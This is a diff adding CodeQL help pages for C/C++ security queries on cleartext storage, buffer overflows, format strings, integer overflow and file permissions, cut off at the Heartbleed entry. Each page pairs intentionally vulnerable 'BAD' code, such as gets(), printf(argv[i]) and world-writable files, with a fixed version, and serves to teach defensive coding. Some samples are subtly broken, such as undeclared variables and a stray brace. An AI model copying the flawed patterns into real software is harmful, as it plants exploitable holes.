/dev/null +++ b/docs/language/query-help/cpp/CleartextFileWrite.md @@ -0,0 +1,45 @@ +# Cleartext storage of sensitive information in file + +``` +ID: cpp/cleartext-storage-file +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-313 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-311/CleartextFileWrite.ql) + +Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. + + +## Recommendation +Ensure that sensitive information is always encrypted before being stored, especially before writing to a file. It may be wise to encrypt information before it is put into a buffer that may be readable in memory. + +In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. + + +## Example +The following example shows two ways of storing user credentials in a file. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the credentials are encrypted before storing them. + + +```c +void writeCredentials() { + char *password = "cleartext password"; + FILE* file = fopen("credentials.txt", "w"); + + // BAD: write password to disk in cleartext + fputs(password, file); + + // GOOD: encrypt password first + char *encrypted = encrypt(password); + fputs(encrypted, file); +} + + +``` + +## References +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/CleartextSqliteDatabase.md b/docs/language/query-help/cpp/CleartextSqliteDatabase.md new file mode 100644 index 00000000000..be5cba5b22d --- /dev/null +++ b/docs/language/query-help/cpp/CleartextSqliteDatabase.md @@ -0,0 +1,67 @@ +# Cleartext storage of sensitive information in an SQLite database + +``` +ID: cpp/cleartext-storage-database +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-313 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-313/CleartextSqliteDatabase.ql) + +Sensitive information that is stored in an unencrypted SQLite database is accessible to an attacker who gains access to the database. + + +## Recommendation +Ensure that if sensitive information is stored in a database then the database is always encrypted. + + +## Example +The following example shows two ways of storing information in an SQLite database. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the database (and thus the credentials) are encrypted. + + +```c + +void bad(void) { + char *password = "cleartext password"; + sqlite3 *credentialsDB; + sqlite3_stmt *stmt; + + if (sqlite3_open("credentials.db", &credentialsDB) == SQLITE_OK) { + // BAD: database opened without encryption being enabled + sqlite3_exec(credentialsDB, "CREATE TABLE IF NOT EXISTS creds (password TEXT);", NULL, NULL, NULL); + if (sqlite3_prepare_v2(credentialsDB, "INSERT INTO creds(password) VALUES(?)", -1, &stmt, NULL) == SQLITE_OK) { + sqlite3_bind_text(stmt, 1, password, -1, SQLITE_TRANSIENT); + sqlite3_step(stmt); + sqlite3_finalize(stmt); + sqlite3_close(credentialsDB); + } + } +} + +void good(void) { + char *password = "cleartext password"; + sqlite3 *credentialsDB; + sqlite3_stmt *stmt; + + if (sqlite3_open("credentials.db", &credentialsDB) == SQLITE_OK) { + // GOOD: database encryption enabled: + sqlite3_exec(credentialsDB, "PRAGMA key = 'secretKey!'", NULL, NULL, NULL); + sqlite3_exec(credentialsDB, "CREATE TABLE IF NOT EXISTS creds (password TEXT);", NULL, NULL, NULL); + if (sqlite3_prepare_v2(credentialsDB, "INSERT INTO creds(password) VALUES(?)", -1, &stmt, NULL) == SQLITE_OK) { + sqlite3_bind_text(stmt, 1, password, -1, SQLITE_TRANSIENT); + sqlite3_step(stmt); + sqlite3_finalize(stmt); + sqlite3_close(credentialsDB); + } + } +} + + +``` + +## References +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/ComparisonWithWiderType.md b/docs/language/query-help/cpp/ComparisonWithWiderType.md new file mode 100644 index 00000000000..d2bbac37387 --- /dev/null +++ b/docs/language/query-help/cpp/ComparisonWithWiderType.md @@ -0,0 +1,63 @@ +# Comparison of narrow type with wide type in loop condition + +``` +ID: cpp/comparison-with-wider-type +Kind: problem +Severity: warning +Precision: high +Tags: reliability security external/cwe/cwe-190 external/cwe/cwe-197 external/cwe/cwe-835 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-190/ComparisonWithWiderType.ql) + +In a loop condition, comparison of a value of a narrow type with a value of a wide type may result in unexpected behavior if the wider value is sufficiently large (or small). This is because the narrower value may overflow. This can lead to an infinite loop. + + +## Recommendation +Change the types of the compared values so that the value on the narrower side of the comparison is at least as wide as the value it is being compared with. + + +## Example +In this example, `bytes_received` is compared against `max_get` in a `while` loop. However, `bytes_received` is an `int16_t`, and `max_get` is an `int32_t`. Because `max_get` is larger than `INT16_MAX`, the loop condition is always `true`, so the loop never terminates. + +This problem is avoided in the 'GOOD' case because `bytes_received2` is an `int32_t`, which is as wide as the type of `max_get`. + + +```c +void main(int argc, char **argv) { + uint32_t big_num = INT32_MAX; + char buf[big_num]; + int16_t bytes_received = 0; + int max_get = INT16_MAX + 1; + + // BAD: 'bytes_received' is compared with a value of a wider type. + // 'bytes_received' overflows before reaching 'max_get', + // causing an infinite loop + while (bytes_received < max_get) + bytes_received += get_from_input(buf, bytes_received); + } + + uint32_t bytes_received = 0; + + // GOOD: 'bytes_received2' has a type at least as wide as 'max_get' + while (bytes_received < max_get) { + bytes_received += get_from_input(buf, bytes_received); + } + +} + + +int getFromInput(char *buf, short pos) { + // write to buf + // ... + return 1; +} + +``` + +## References +* [Data type ranges](https://docs.microsoft.com/en-us/cpp/cpp/data-type-ranges) +* [INT18-C. Evaluate integer expressions in a larger size before comparing or assigning to that size ](https://wiki.sei.cmu.edu/confluence/display/c/INT18-C.+Evaluate+integer+expressions+in+a+larger+size+before+comparing+or+assigning+to+that+size) +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). +* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). +* Common Weakness Enumeration: [CWE-835](https://cwe.mitre.org/data/definitions/835.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/DangerousFunctionOverflow.md b/docs/language/query-help/cpp/DangerousFunctionOverflow.md new file mode 100644 index 00000000000..bc4ef69a78d --- /dev/null +++ b/docs/language/query-help/cpp/DangerousFunctionOverflow.md @@ -0,0 +1,56 @@ +# Use of dangerous function + +``` +ID: cpp/dangerous-function-overflow +Kind: problem +Severity: error +Precision: very-high +Tags: reliability security external/cwe/cwe-242 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-676/DangerousFunctionOverflow.ql) + +This rule finds calls to the `gets` function, which is dangerous and should not be used. See **Related rules** below for rules that identify other dangerous functions. + +The `gets` function is one of the vulnerabilities exploited by the Internet Worm of 1988, one of the first computer worms to spread through the Internet. The `gets` function provides no way to limit the amount of data that is read and stored, so without prior knowledge of the input it is impossible to use it safely with any size of buffer. + + +## Recommendation +Replace calls to `gets` with `fgets`, specifying the maximum length to copy. This will prevent the buffer overflow. + + +## Example +The following example gets a string from standard input in two ways: + + +```c +#define BUFFERSIZE (1024) + +// BAD: using gets +void echo_bad() { + char buffer[BUFFERSIZE]; + gets(buffer); + printf("Input was: '%s'\n", buffer); +} + +// GOOD: using fgets +void echo_good() { + char buffer[BUFFERSIZE]; + fgets(buffer, BUFFERSIZE, stdin); + printf("Input was: '%s'\n", buffer); +} + +``` +The first version uses `gets` and will overflow if the input is longer than the buffer. The second version of the code uses `fgets` and will not overflow, because the amount of data written is limited by the length parameter. + + +## Related rules +Other dangerous functions identified by CWE-676 ("Use of Potentially Dangerous Function") include `strcpy` and `strcat`. Use of these functions is highlighted by rules for the following CWEs: + +* [CWE-120 Classic Buffer Overflow](https://cwe.mitre.org/data/definitions/120.html). +* [CWE-131 Incorrect Calculation of Buffer Size](https://cwe.mitre.org/data/definitions/131.html). + +## References +* Wikipedia: [Morris worm](http://en.wikipedia.org/wiki/Morris_worm). +* E. Spafford. *The Internet Worm Program: An Analysis*. Purdue Technical Report CSD-TR-823, [(online)](http://www.textfiles.com/100/tr823.txt), 1988. +* Common Weakness Enumeration: [CWE-242](https://cwe.mitre.org/data/definitions/242.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/DangerousUseOfCin.md b/docs/language/query-help/cpp/DangerousUseOfCin.md new file mode 100644 index 00000000000..2072b043618 --- /dev/null +++ b/docs/language/query-help/cpp/DangerousUseOfCin.md @@ -0,0 +1,47 @@ +# Dangerous use of 'cin' + +``` +ID: cpp/dangerous-cin +Kind: problem +Severity: error +Precision: high +Tags: reliability security external/cwe/cwe-676 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-676/DangerousUseOfCin.ql) + +This rule finds calls to `std::istream::operator>>` on `std::cin` without a preceding call to `cin.width`. Consuming input from `cin` without specifying the length of the input is dangerous due to the possibility of buffer overflows. + + +## Recommendation +Always specify the length of any input expected from `cin` by calling `cin.width` before consuming the input. + + +## Example +The following example shows both a dangerous and a safe way to consume input from `cin`. + + +```cpp +#define BUFFER_SIZE 20 + +void bad() +{ + char buffer[BUFFER_SIZE]; + // BAD: Use of 'cin' without specifying the length of the input. + cin >> buffer; + buffer[BUFFER_SIZE-1] = '\0'; +} + +void good() +{ + char buffer[BUFFER_SIZE]; + // GOOD: Specifying the length of the input before using 'cin'. + cin.width(BUFFER_SIZE); + cin >> buffer; + buffer[BUFFER_SIZE-1] = '\0'; +} + +``` + +## References +* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/DoNotCreateWorldWritable.md b/docs/language/query-help/cpp/DoNotCreateWorldWritable.md new file mode 100644 index 00000000000..61a9dda8a76 --- /dev/null +++ b/docs/language/query-help/cpp/DoNotCreateWorldWritable.md @@ -0,0 +1,45 @@ +# File created without restricting permissions + +``` +ID: cpp/world-writable-file-creation +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-732 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-732/DoNotCreateWorldWritable.ql) + +When you create a file, take care to give it the most restrictive permissions possible. A typical mistake is to create the file with world-writable permissions. This can allow an attacker to write to the file, which can give them unexpected control over the program. + + +## Recommendation +Files should usually be created with write permissions only for the current user. If broader permissions are needed, including the users' group should be sufficient. It is very rare that a file needs to be world-writable, and care should be taken not to make assumptions about the contents of any such file. + +On Unix systems, it is possible for the user who runs the program to restrict file creation permissions using `umask`. However, a program should not assume that the user will set an `umask`, and should still set restrictive permissions by default. + + +## Example +This example shows two ways of writing a default configuration file. Software often does this to provide the user with a convenient starting point for defining their own configuration. However, configuration files can also control important aspects of the software's behavior, so it is important that they cannot be controlled by an attacker. + +The first example creates the default configuration file with the usual "default" Unix permissions, `0666`. This makes the file world-writable, so that an attacker could write in their own configuration that would be read by the program. The second example uses more restrictive permissions: a combination of the standard Unix constants `S_IWUSR` and `S_IRUSR` which means that only the current user will have read and write access to the file. + + +```c +int write_default_config_bad() { + // BAD - this is world-writable so any user can overwrite the config + FILE* out = creat(OUTFILE, 0666); + fprintf(out, DEFAULT_CONFIG); +} + +int write_default_config_good() { + // GOOD - this allows only the current user to modify the file + FILE* out = creat(OUTFILE, S_IWUSR | S_IRUSR); + fprintf(out, DEFAULT_CONFIG); +} + +``` + +## References +* The CERT Oracle Secure Coding Standard for C: [ FIO06-C. Create files with appropriate access permissions ](https://www.securecoding.cert.org/confluence/display/c/FIO06-C.+Create+files+with+appropriate+access+permissions). +* Common Weakness Enumeration: [CWE-732](https://cwe.mitre.org/data/definitions/732.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/HResultBooleanConversion.md b/docs/language/query-help/cpp/HResultBooleanConversion.md new file mode 100644 index 00000000000..0311e8c54bf --- /dev/null +++ b/docs/language/query-help/cpp/HResultBooleanConversion.md @@ -0,0 +1,42 @@ +# Cast between HRESULT and a Boolean type + +``` +ID: cpp/hresult-boolean-conversion +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-253 external/microsoft/C6214 external/microsoft/C6215 external/microsoft/C6216 external/microsoft/C6217 external/microsoft/C6230 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-253/HResultBooleanConversion.ql) + +This query indicates that an `HRESULT` is being cast to a Boolean type or vice versa. + +The typical success value (`S_OK`) of an `HRESULT` equals 0. However, 0 indicates failure for a Boolean type. + +Casting an `HRESULT` to a Boolean type and then using it in a test expression will yield an incorrect result. + + +## Recommendation +To check if a call that returns an `HRESULT` succeeded use the `FAILED` macro. + + +## Example +In the following example, `HRESULT` is used in a test expression incorrectly as it may yield an incorrect result. + + +```cpp +LPMALLOC pMalloc; +HRESULT hr = CoGetMalloc(1, &pMalloc); + +if (!hr) +{ + // code ... +} + +``` +To fix this issue, use the `FAILED` macro in the test expression. + + +## References +* Common Weakness Enumeration: [CWE-253](https://cwe.mitre.org/data/definitions/253.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/IncorrectNotOperatorUsage.md b/docs/language/query-help/cpp/IncorrectNotOperatorUsage.md new file mode 100644 index 00000000000..1802ac2c4b3 --- /dev/null +++ b/docs/language/query-help/cpp/IncorrectNotOperatorUsage.md @@ -0,0 +1,55 @@ +# Incorrect 'not' operator usage + +``` +ID: cpp/incorrect-not-operator-usage +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-480 external/microsoft/c6317 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Likely%20Typos/IncorrectNotOperatorUsage.ql) + +This rule finds logical-not operator usage as an operator for in a bit-wise operation. + +Due to the nature of logical operation result value, only the lowest bit could possibly be set, and it is unlikely to be intent in bitwise opeartions. Violations are often indicative of a typo, using a logical-not (`!`) opeartor instead of the bit-wise not (`~`) operator. + +This rule is restricted to analyze bit-wise and (`&`) and bit-wise or (`|`) operation in order to provide better precision. + +This rule ignores instances where a double negation (`!!`) is explicitly used as the opeartor of the bitwise operation, as this is a commonly used as a mechanism to normalize an integer value to either 1 or 0. + +NOTE: It is not recommended to use this rule in kernel code or older C code as it will likely find several false positive instances. + + +## Recommendation +Carefully inspect the flagged expressions. Consider the intent in the code logic, and decide whether it is necessary to change the not operator. + + +## Example + +```cpp +#define FLAGS 0x4004 + +void f_warning(int i) +{ + // The usage of the logical not operator in this case is unlikely to be correct + // as the output is being used as an operator for a bit-wise and operation + if (i & !FLAGS) + { + // code + } +} + + +void f_fixed(int i) +{ + if (i & ~FLAGS) // Changing the logical not operator for the bit-wise not operator would fix this logic + { + // code + } +} +``` + +## References +* [warning C6317: incorrect operator: logical-not (!) is not interchangeable with ones-complement (~)](https://docs.microsoft.com/en-us/visualstudio/code-quality/c6317?view=vs-2017) +* Common Weakness Enumeration: [CWE-480](https://cwe.mitre.org/data/definitions/480.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/IncorrectPointerScaling.md b/docs/language/query-help/cpp/IncorrectPointerScaling.md new file mode 100644 index 00000000000..ef57fe13bdc --- /dev/null +++ b/docs/language/query-help/cpp/IncorrectPointerScaling.md @@ -0,0 +1,43 @@ +# Suspicious pointer scaling + +``` +ID: cpp/suspicious-pointer-scaling +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-468 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-468/IncorrectPointerScaling.ql) + +Pointer arithmetic in C and C++ is automatically scaled according to the size of the data type. For example, if the type of `p` is `T*` and `sizeof(T) == 4` then the expression `p+1` adds 4 bytes to `p`. This can cause a buffer overflow condition if the programmer forgets that they are adding a multiple of `sizeof(T)`, rather than a number of bytes. + +This query finds pointer arithmetic expressions where it appears likely that the programmer has forgotten that the offset is automatically scaled. + + +## Recommendation +1. Whenever possible, use the array subscript operator rather than pointer arithmetic. For example, replace `*(p+k)` with `p[k]`. +1. Cast to the correct type before using pointer arithmetic. For example, if the type of `p` is `int*` but it really points to an array of type `double[]` then use the syntax `(double*)p + k` to get a pointer to the `k`'th element of the array. + +## Example + +```cpp +int example1(int i) { + int intArray[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; + int *intPointer = intArray; + // BAD: the offset is already automatically scaled by sizeof(int), + // so this code will compute the wrong offset. + return *(intPointer + (i * sizeof(int))); +} + +int example2(int i) { + int intArray[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; + int *intPointer = intArray; + // GOOD: the offset is automatically scaled by sizeof(int). + return *(intPointer + i); +} + +``` + +## References +* Common Weakness Enumeration: [CWE-468](https://cwe.mitre.org/data/definitions/468.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/IncorrectPointerScalingVoid.md b/docs/language/query-help/cpp/IncorrectPointerScalingVoid.md new file mode 100644 index 00000000000..3f6b440c21c --- /dev/null +++ b/docs/language/query-help/cpp/IncorrectPointerScalingVoid.md @@ -0,0 +1,44 @@ +# Suspicious pointer scaling to void + +``` +ID: cpp/suspicious-pointer-scaling-void +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-468 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-468/IncorrectPointerScalingVoid.ql) + +Casting arbitrary pointers into `void*` and then accessing their contents should be done with care. The results may not be portable. + +This query finds pointer arithmetic expressions where a pointer to `void` (or similar) is then cast to another type and dereferenced. + + +## Recommendation +1. Whenever possible, use the array subscript operator rather than pointer arithmetic. For example, replace `*(p+k)` with `p[k]`. +1. Cast to the correct type before using pointer arithmetic. For example, if the type of `p` is `void*` but it really points to an array of type `double[]` then use the syntax `(double*)p + k` to get a pointer to the `k`'th element of the array. +1. If pointer arithmetic must be done with a single-byte width, prefer `char *` to `void *`, as pointer arithmetic on `void *` is a nonstandard GNU extension. + +## Example + +```cpp +char example1(int i) { + int intArray[5] = { 1, 2, 3, 4, 5 }; + void *voidPointer = (void *)intArray; + // BAD: the pointer arithmetic uses type void*, so the offset + // is not scaled by sizeof(int). + return *(voidPointer + i); +} + +int example2(int i) { + int intArray[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; + int *intPointer = intArray; + // GOOD: the offset is automatically scaled by sizeof(int). + return *(intPointer + i); +} + +``` + +## References +* Common Weakness Enumeration: [CWE-468](https://cwe.mitre.org/data/definitions/468.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/IntMultToLong.md b/docs/language/query-help/cpp/IntMultToLong.md new file mode 100644 index 00000000000..de6b5fa3ea0 --- /dev/null +++ b/docs/language/query-help/cpp/IntMultToLong.md @@ -0,0 +1,40 @@ +# Multiplication result converted to larger type + +``` +ID: cpp/integer-multiplication-cast-to-long +Kind: problem +Severity: warning +Precision: high +Tags: reliability security correctness types external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Arithmetic/IntMultToLong.ql) + +This rule finds code that converts the result of an integer multiplication to a larger type. Since the conversion applies *after* the multiplication, arithmetic overflow may still occur. + +The rule flags every multiplication of two non-constant integer expressions that is (explicitly or implicitly) converted to a larger integer type. The conversion is an indication that the expression would produce a result that would be too large to fit in the smaller integer type. + + +## Recommendation +Use a cast to ensure that the multiplication is done using the larger integer type to avoid overflow. + + +## Example + +```cpp +int i = 2000000000; +long j = i * i; //Wrong: due to overflow on the multiplication between ints, + //will result to j being -1651507200, not 4000000000000000000 + +long k = (long) i * i; //Correct: the multiplication is done on longs instead of ints, + //and will not overflow + +``` + +## References +* MSDN Library: [Multiplicative Operators: *, /, and %](http://msdn.microsoft.com/en-us/library/ty2ax9z9%28v=vs.71%29.aspx). +* Cplusplus.com: [Integer overflow](http://www.cplusplus.com/articles/DE18T05o/). +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). +* Common Weakness Enumeration: [CWE-192](https://cwe.mitre.org/data/definitions/192.html). +* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). +* Common Weakness Enumeration: [CWE-681](https://cwe.mitre.org/data/definitions/681.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/NewFreeMismatch.md b/docs/language/query-help/cpp/NewFreeMismatch.md new file mode 100644 index 00000000000..6964bde364a --- /dev/null +++ b/docs/language/query-help/cpp/NewFreeMismatch.md @@ -0,0 +1,34 @@ +# Mismatching new/free or malloc/delete + +``` +ID: cpp/new-free-mismatch +Kind: problem +Severity: warning +Precision: high +Tags: reliability security external/cwe/cwe-401 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Critical/NewFreeMismatch.ql) + +This rule finds `delete` expressions whose argument is a pointer that points to memory allocated using the `malloc` function, and calls to `free` whose argument is a pointer that points to memory allocated using the `new` operator. Behavior in such cases is undefined and should be avoided. + + +## Recommendation +Use the `delete` operator when freeing memory allocated with `new`, and the `free` function when freeing memory allocated with `malloc`. + + +## Example + +```cpp +Record *ptr = new Record(...); + +... + +free(ptr); // BAD: ptr was created using 'new', but is being freed using 'free' + +``` + +## References +* isocpp.org 'Standard C++', "[Can I free() pointers allocated with new? Can I delete pointers allocated with malloc()?](https://isocpp.org/wiki/faq/freestore-mgmt#mixing-malloc-and-delete)" +* Wikipedia, "[Relation to malloc and free](https://en.wikipedia.org/wiki/New_and_delete_(C%2B%2B)#Relation_to_malloc_and_free)" in *new and delete (C++)*. +* Common Weakness Enumeration: [CWE-401](https://cwe.mitre.org/data/definitions/401.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/NoSpaceForZeroTerminator.md b/docs/language/query-help/cpp/NoSpaceForZeroTerminator.md new file mode 100644 index 00000000000..dc48d278fb3 --- /dev/null +++ b/docs/language/query-help/cpp/NoSpaceForZeroTerminator.md @@ -0,0 +1,43 @@ +# No space for zero terminator + +``` +ID: cpp/no-space-for-terminator +Kind: problem +Severity: error +Precision: high +Tags: reliability security external/cwe/cwe-131 external/cwe/cwe-120 external/cwe/cwe-122 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-131/NoSpaceForZeroTerminator.ql) + +This rule identifies calls to `malloc` that call `strlen` to determine the required buffer size, but do not allocate space for the zero terminator. + + +## Recommendation +The expression highlighted by this rule creates a buffer that is of insufficient size to contain the data being copied. This makes the code vulnerable to buffer overflow which can result in anything from a segmentation fault to a security vulnerability (particularly if the array is on stack-allocated memory). + +Increase the size of the buffer being allocated by one or replace `malloc`, `strcpy` pairs with a call to `strdup` + + +## Example + +```c + +void flawed_strdup(const char *input) +{ + char *copy; + + /* Fail to allocate space for terminating '\0' */ + copy = (char *)malloc(strlen(input)); + strcpy(copy, input); + return copy; +} + + +``` + +## References +* CERT C Coding Standard: [MEM35-C. Allocate sufficient memory for an object](https://www.securecoding.cert.org/confluence/display/c/MEM35-C.+Allocate+sufficient+memory+for+an+object). +* Common Weakness Enumeration: [CWE-131](https://cwe.mitre.org/data/definitions/131.html). +* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). +* Common Weakness Enumeration: [CWE-122](https://cwe.mitre.org/data/definitions/122.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/NonConstantFormat.md b/docs/language/query-help/cpp/NonConstantFormat.md new file mode 100644 index 00000000000..7a93184a406 --- /dev/null +++ b/docs/language/query-help/cpp/NonConstantFormat.md @@ -0,0 +1,109 @@ +# Non-constant format string + +``` +ID: cpp/non-constant-format +Kind: problem +Severity: recommendation +Precision: high +Tags: maintainability correctness security external/cwe/cwe-134 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Format/NonConstantFormat.ql) + +The `printf` function, related functions like `sprintf` and `fprintf`, and other functions built atop `vprintf` all accept a format string as one of their arguments. When such format strings are literal constants, it is easy for the programmer (and static analysis tools) to verify that the format specifiers (such as `%s` and `%02x`) in the format string are compatible with the trailing arguments of the function call. When such format strings are not literal constants, it is more difficult to maintain the program: programmers (and static analysis tools) must perform non-local data-flow analysis to deduce what values the format string argument might take. + + +## Recommendation +If the argument passed as a format string is meant to be a plain string rather than a format string, then pass `%s` as the format string, and pass the original argument as the sole trailing argument. + +If the argument passed as a format string is a parameter to the enclosing function, then consider redesigning the enclosing function's API to be less brittle. + + +## Example +The following program is meant to echo its command line arguments: + + +```c +#include +int main(int argc, char** argv) { + for(int i = 1; i < argc; ++i) { + printf(argv[i]); + } +} +``` +The above program behaves as expected in most cases, but breaks when one of its command line arguments contains a percent character. In such cases, the behavior of the program is undefined: it might echo garbage, it might crash, or it might give a malicious attacker root access. One way of addressing the problem is to use a constant `%s` format string, as in the following program: + + +```c +#include +int main(int argc, char** argv) { + for(int i = 1; i < argc; ++i) { + printf("%s", argv[i]); + } +} +``` + +## Example +The following program defines a `log_with_timestamp` function: + + +```c +void log_with_timestamp(const char* message) { + struct tm now; + time(&now); + printf("[%s] ", asctime(now)); + printf(message); +} + +int main(int argc, char** argv) { + log_with_timestamp("Application is starting...\n"); + /* ... */ + log_with_timestamp("Application is closing...\n"); + return 0; +} +``` +In the code that is visible, the reader can verify that `log_with_timestamp` is never called with a log message containing a percent character, but even if all current calls are correct, this presents an ongoing maintenance burden to ensure that newly-introduced calls don't contain percent characters. As in the previous example, one solution is to make the log message a trailing argument of the function call: + + +```c +void log_with_timestamp(const char* message) { + struct tm now; + time(&now); + printf("[%s] %s", asctime(now), message); +} + +int main(int argc, char** argv) { + log_with_timestamp("Application is starting...\n"); + /* ... */ + log_with_timestamp("Application is closing...\n"); + return 0; +} +``` +An alternative solution is to allow `log_with_timestamp` to accept format arguments: + + +```c +void log_with_timestamp(const char* message, ...) { + va_list args; + va_start(args, message); + struct tm now; + time(&now); + printf("[%s] ", asctime(now)); + vprintf(message, args); + va_end(args); +} + +int main(int argc, char** argv) { + log_with_timestamp("%s is starting...\n", argv[0]); + /* ... */ + log_with_timestamp("%s is closing...\n", argv[0]); + return 0; +} +``` +In this formulation, the non-constant format string to `printf` has been replaced with a non-constant format string to `vprintf`. Semmle will no longer consider the body of `log_with_timestamp` to be a problem, and will instead check that every call to `log_with_timestamp` passes a constant format string. + + +## References +* CERT C Coding Standard: [FIO30-C. Exclude user input from format strings](https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings). +* M. Howard, D. Leblanc, J. Viega, *19 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*. +* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/OffsetUseBeforeRangeCheck.md b/docs/language/query-help/cpp/OffsetUseBeforeRangeCheck.md new file mode 100644 index 00000000000..ed2c18c56e2 --- /dev/null +++ b/docs/language/query-help/cpp/OffsetUseBeforeRangeCheck.md @@ -0,0 +1,58 @@ +# Array offset used before range check + +``` +ID: cpp/offset-use-before-range-check +Kind: problem +Severity: warning +Precision: medium +Tags: reliability security external/cwe/cwe-120 external/cwe/cwe-125 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Best%20Practices/Likely%20Errors/OffsetUseBeforeRangeCheck.ql) + +The program contains an and-expression where the array access is defined before the range check. Consequently the array is accessed without any bounds checking. The range check does not protect the program from segmentation faults caused by attempts to read beyond the end of a buffer. + + +## Recommendation +Update the and-expression so that the range check precedes the array offset. This will ensure that the bounds are checked before the array is accessed. + + +## Example +The `find` function can read past the end of the buffer pointed to by `str` if `start` is longer than or equal to the length of the buffer (or longer than `len`, depending on the contents of the buffer). + + +```c +int find(int start, char *str, char goal) +{ + int len = strlen(str); + //Potential buffer overflow + for (int i = start; str[i] != 0 && i < len; i++) { + if (str[i] == goal) + return i; + } + return -1; +} + +int findRangeCheck(int start, char *str, char goal) +{ + int len = strlen(str); + //Range check protects against buffer overflow + for (int i = start; i < len && str[i] != 0 ; i++) { + if (str[i] == goal) + return i; + } + return -1; +} + + + + +``` +Update the and-expression so that the range check precedes the array offset (for example, the `findRangeCheck` function). + + +## References +* cplusplus.com: [ C++: array](http://www.cplusplus.com/reference/array/array/). +* Wikipedia: [ Bounds checking](http://en.wikipedia.org/wiki/Bounds_checking). +* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). +* Common Weakness Enumeration: [CWE-125](https://cwe.mitre.org/data/definitions/125.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/OpenSslHeartbleed.md b/docs/language/query-help/cpp/OpenSslHeartbleed.md new file mode 100644 index 00000000000..41917e2e3e3 --- /dev/null +++ b/docs/language/query-help/cpp/OpenSslHeartbleed.md @@ -0,0 +1,60 @@ +# Use of a version of OpenSSL with Heartbleed + +``` +ID: cpp/openssl-heartbleed +Kind: problem +Severity: error +Precision: very-high +Tags: security external/cwe/cwe-327 